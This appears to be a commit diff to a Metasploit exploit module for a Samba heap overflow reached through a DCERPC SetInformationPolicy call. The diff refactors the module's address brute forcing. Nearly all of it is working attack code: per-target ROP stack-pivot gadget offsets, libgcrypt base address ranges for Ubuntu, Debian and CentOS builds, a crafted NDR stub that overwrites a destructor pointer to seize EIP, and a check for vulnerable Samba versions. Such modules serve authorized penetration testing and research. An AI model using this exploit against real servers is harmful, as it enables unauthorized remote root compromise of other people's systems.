@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
include Msf ::Exploit ::Remote ::DCERPC
16
16
include Msf ::Exploit ::Remote ::SMB
17
17
include Msf ::Exploit ::RopDb
18
+ include Msf ::Exploit ::Brute
18
19
19
20
def initialize ( info = { } )
20
21
super ( update_info ( info ,
@@ -25,10 +26,11 @@ def initialize(info = {})
25
26
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
26
27
trigger a heap overflow and finally execute arbitrary code with root privileges.
27
28
28
- The module uses brute force to guess the system() address and redirect flow there
29
- in order to bypass NX. The start and stop addresses for brute forcing have been
30
- calculated empirically. On the other hand the module provides the StartBrute and
31
- StopBrute which allow the user to configure his own addresses.
29
+ The module uses brute force to guess the stackpivot/rop chain or the system()
30
+ address and redirect flow there in order to bypass NX. The start and stop addresses
31
+ for brute forcing have been calculated empirically. On the other hand the module
32
+ provides the StartBrute and StopBrute which allow the user to configure his own
33
+ addresses.
32
34
} ,
33
35
'Author' =>
34
36
[
@@ -57,29 +59,35 @@ def initialize(info = {})
57
59
'DefaultOptions' => { "PrependSetreuid" => true , "PrependSetregid" => true , "PrependFork" => true , "AppendExit" => true , "WfsDelay" => 5 } ,
58
60
'Targets' =>
59
61
[
60
- [ '2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10' ,
62
+ [ '2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10' ,
61
63
{
62
64
'Arch' => ARCH_X86 ,
63
65
'Offset' => 0x11c0 ,
64
66
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2' ,
65
67
'Stackpivot' => 0x0004393c , # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
66
- 'Start' => 0xb67f1000 ,
67
- 'Stop' => 0xb69ef000 ,
68
- 'Step' => 0x1000 ,
68
+ 'Bruteforce' =>
69
+ {
70
+ 'Start' => { 'libgcrypt_base' => 0xb67f1000 } ,
71
+ 'Stop' => { 'libgcrypt_base' => 0xb69ef000 } ,
72
+ 'Step' => 0x1000
73
+ }
69
74
}
70
75
] ,
71
- [ '2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10' ,
76
+ [ '2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10' ,
72
77
{
73
78
'Arch' => ARCH_X86 ,
74
79
'Offset' => 0x11c0 ,
75
80
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2' ,
76
81
'Stackpivot' => 0x0004393c , # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
77
- 'Start' => 0xb68d9000 ,
78
- 'Stop' => 0xb6ad7000 ,
79
- 'Step' => 0x1000 ,
82
+ 'Bruteforce' =>
83
+ {
84
+ 'Start' => { 'libgcrypt_base' => 0xb68d9000 } ,
85
+ 'Stop' => { 'libgcrypt_base' => 0xb6ad7000 } ,
86
+ 'Step' => 0x1000
87
+ }
80
88
}
81
89
] ,
82
- [ '2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.04' ,
90
+ [ '2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04' ,
83
91
{
84
92
'Arch' => ARCH_X86 ,
85
93
'Offset' => 0x11c0 ,
@@ -89,9 +97,12 @@ def initialize(info = {})
89
97
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
90
98
# to effectively stack pivot
91
99
'Stackpivot_helper' => 0x00054e87 , #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
92
- 'Start' => 0xb6973000 ,
93
- 'Stop' => 0xb6b71000 ,
94
- 'Step' => 0x1000 ,
100
+ 'Bruteforce' =>
101
+ {
102
+ 'Start' => { 'libgcrypt_base' => 0xb6973000 } ,
103
+ 'Stop' => { 'libgcrypt_base' => 0xb6b71000 } ,
104
+ 'Step' => 0x1000
105
+ }
95
106
}
96
107
] ,
97
108
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
@@ -110,15 +121,18 @@ def initialize(info = {})
110
121
# }
111
122
# }
112
123
#],
113
- [ '2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10' ,
124
+ [ '2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10' ,
114
125
{
115
126
'Arch' => ARCH_X86 ,
116
127
'Offset' => 0x11c0 ,
117
128
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8' ,
118
129
'Stackpivot' => 0x0003e4bc , #xchg eax, esp ; ret in libgcrypt.so.11.5.3
119
- 'Start' => 0xb694f000 ,
120
- 'Stop' => 0xb6b4d000 ,
121
- 'Step' => 0x1000 ,
130
+ 'Bruteforce' =>
131
+ {
132
+ 'Start' => { 'libgcrypt_base' => 0xb694f000 } ,
133
+ 'Stop' => { 'libgcrypt_base' => 0xb6b4d000 } ,
134
+ 'Step' => 0x1000
135
+ }
122
136
}
123
137
] ,
124
138
[ '2:3.5.6~dfsg-3squeeze6 on Debian Squeeze' ,
@@ -127,9 +141,12 @@ def initialize(info = {})
127
141
'Offset' => 0x11c0 ,
128
142
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6' ,
129
143
'Stackpivot' => 0x0003e30c , #xchg eax, esp ; ret in libgcrypt.so.11.5.3
130
- 'Start' => 0xb6962000 ,
131
- 'Stop' => 0xb6a61000 ,
132
- 'Step' => 0x1000 ,
144
+ 'Bruteforce' =>
145
+ {
146
+ 'Start' => { 'libgcrypt_base' => 0xb6962000 } ,
147
+ 'Stop' => { 'libgcrypt_base' => 0xb6a61000 } ,
148
+ 'Step' => 0x1000
149
+ }
133
150
}
134
151
] ,
135
152
[ '3.5.10-0.107.el5 on CentOS 5' ,
@@ -138,9 +155,12 @@ def initialize(info = {})
138
155
'Offset' => 0x11c0 ,
139
156
'Ropname' => '3.5.10-0.107.el5 on CentOS 5' ,
140
157
'Stackpivot' => 0x0006ad7e , #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
141
- 'Start' => 0x0037c000 ,
142
- 'Stop' => 0x09e73000 ,
143
- 'Step' => 0x1000 ,
158
+ 'Bruteforce' =>
159
+ {
160
+ 'Start' => { 'libgcrypt_base' => 0x0037c000 } ,
161
+ 'Stop' => { 'libgcrypt_base' => 0x09e73000 } ,
162
+ 'Step' => 0x1000
163
+ }
144
164
}
145
165
]
146
166
@@ -151,78 +171,32 @@ def initialize(info = {})
151
171
152
172
register_options ( [
153
173
OptInt . new ( "StartBrute" , [ false , "Start Address For Brute Forcing" ] ) ,
154
- OptInt . new ( "StopBrute" , [ false , "Stop Address For Brute Forcing" ] ) ,
155
- OptInt . new ( "Delay" , [ false , "This option sets the delay in ms between each thread" , 750 ] )
174
+ OptInt . new ( "StopBrute" , [ false , "Stop Address For Brute Forcing" ] )
156
175
] , self . class )
157
176
158
177
end
159
178
160
179
def exploit
161
- start = target [ "Start" ]
162
- stop = target [ "Stop" ]
163
- step = target [ "Step" ]
164
- delay = datastore [ "Delay" ] || 750
180
+ if target . bruteforce?
181
+ bf = target . bruteforce
165
182
166
- start = datastore [ "StartBrute" ] if ( datastore [ "StartBrute" ] and datastore [ "StartBrute" ] > 0 )
167
- stop = datastore [ "StopBrute" ] if ( datastore [ "StopBrute" ] and datastore [ "StopBrute" ] > 0 )
168
-
169
- if start > stop
170
- raise ArgumentError , "StartBrute should not be larger than StopBrute"
171
- end
172
-
173
- curr_addr = start
174
- i = 0
175
- count = ( stop -start ) /step
176
-
177
- while curr_addr <= stop and not session_created?
178
- t = [ ]
179
- 1 . upto ( 20 ) do
180
- break if session_created?
181
- i += 1
182
- t << framework . threads . spawn ( "Module(#{ self . refname } )-#{ curr_addr } " , false , curr_addr , i , count ) do |addr , i , count |
183
- begin
184
- ok = false
185
- while ok != true
186
- begin
187
- do_one ( addr , i , count )
188
- ok = true
189
- rescue ::Exception => e
190
- print_status ( "The following error was encountered: #{ e . class } #{ e } , retrying with same address" )
191
- end
192
- end
193
- end
194
- end
195
- curr_addr += step
196
- break if curr_addr > stop
197
- select ( nil , nil , nil , delay /1000.0 )
183
+ if datastore [ 'StartBrute' ] and datastore [ 'StartBrute' ] > 0
184
+ bf . start_addresses [ 'libgcrypt_base' ] = datastore [ 'StartBrute' ]
198
185
end
199
- t . each { |x | x . join }
200
- end
201
- end
202
-
203
- def check
204
- begin
205
- connect ( )
206
- smb_login ( )
207
- disconnect ( )
208
186
209
- version = smb_peer_lm ( ) . scan ( /Samba (\d \. \d .\d *)/ ) . flatten [ 0 ]
210
- minor = version . scan ( /\. (\d *)$/ ) . flatten [ 0 ] . to_i
211
- print_status ( "Version found: #{ version } " )
212
-
213
- return Exploit ::CheckCode ::Appears if version =~ /^3\. 4/ and minor < 16
214
- return Exploit ::CheckCode ::Appears if version =~ /^3\. 5/ and minor < 14
215
- return Exploit ::CheckCode ::Appears if version =~ /^3\. 6/ and minor < 4
216
-
217
- return Exploit ::CheckCode ::Safe
187
+ if datastore [ 'StopBrute' ] and datastore [ 'StopBrute' ] > 0
188
+ bf . stop_addresses [ 'libgcrypt_base' ] = datastore [ 'StopBrute' ]
189
+ end
218
190
219
- rescue ::Exception
220
- return CheckCode ::Unknown
191
+ if bf . start_addresses [ 'libgcrypt_base' ] > bf . stop_addresses [ 'libgcrypt_base' ]
192
+ raise ArgumentError , "StartBrute should not be larger than StopBrute"
193
+ end
221
194
end
195
+ super
222
196
end
223
197
224
- def do_one ( addr , i , count )
225
- print_status ( "Trying to exploit Samba with address 0x%.8x (%i/%i) ..." % [ addr , i , count ] )
198
+ def brute_exploit ( target_addrs )
199
+ print_status ( "Trying to exploit Samba with address 0x%.8x..." % target_addrs [ 'libgcrypt_base' ] )
226
200
datastore [ 'DCERPC::fake_bind_multi' ] = false
227
201
datastore [ 'DCERPC::max_frag_size' ] = 4248
228
202
datastore [ 'DCERPC::smb_pipeio' ] = 'trans'
@@ -248,13 +222,13 @@ def do_one(addr, i, count)
248
222
tmp << "\x00 " *( 816 -tmp . length )
249
223
ret_addr = addr
250
224
elsif target [ 'Arch' ] == ARCH_X86
251
- cmd << generate_rop_payload ( 'samba' , payload . encoded , { 'target' => target [ 'Ropname' ] , 'base' => addr } )
225
+ cmd << generate_rop_payload ( 'samba' , payload . encoded , { 'target' => target [ 'Ropname' ] , 'base' => target_addrs [ 'libgcrypt_base' ] } )
252
226
tmp = cmd
253
227
tmp << "\x00 " *( 816 -tmp . length )
254
- ret_addr = addr +target [ 'Stackpivot' ]
228
+ ret_addr = target_addrs [ 'libgcrypt_base' ] +target [ 'Stackpivot' ]
255
229
# will help in stack pivot when it's not eax pointing to shellcode
256
230
if target [ 'Stackpivot_helper' ]
257
- helper = addr +target [ 'Stackpivot_helper' ]
231
+ helper = target_addrs [ 'libgcrypt_base' ] +target [ 'Stackpivot_helper' ]
258
232
end
259
233
end
260
234
@@ -274,7 +248,7 @@ def do_one(addr, i, count)
274
248
stub << NDR . long ( helper ) + 'A' *4 # next, prev
275
249
stub << NDR . long ( 0 ) + NDR . long ( 0 ) # parent, child
276
250
stub << NDR . long ( 0 ) # refs
277
- # stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
251
+ # stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
278
252
stub << NDR . long ( ret_addr ) # destructor # will become EIP
279
253
stub << NDR . long ( 0 ) # name
280
254
stub << "AAAA" # size
@@ -302,6 +276,27 @@ def do_one(addr, i, count)
302
276
disconnect ( )
303
277
end
304
278
279
+ def check
280
+ begin
281
+ connect ( )
282
+ smb_login ( )
283
+ disconnect ( )
284
+
285
+ version = smb_peer_lm ( ) . scan ( /Samba (\d \. \d .\d *)/ ) . flatten [ 0 ]
286
+ minor = version . scan ( /\. (\d *)$/ ) . flatten [ 0 ] . to_i
287
+ print_status ( "Version found: #{ version } " )
288
+
289
+ return Exploit ::CheckCode ::Appears if version =~ /^3\. 4/ and minor < 16
290
+ return Exploit ::CheckCode ::Appears if version =~ /^3\. 5/ and minor < 14
291
+ return Exploit ::CheckCode ::Appears if version =~ /^3\. 6/ and minor < 4
292
+
293
+ return Exploit ::CheckCode ::Safe
294
+
295
+ rescue ::Exception
296
+ return CheckCode ::Unknown
297
+ end
298
+ end
299
+
305
300
# Perform a DCE/RPC Function Call
306
301
def call ( dcerpc , function , data , do_recv = true )
307
302
0 commit comments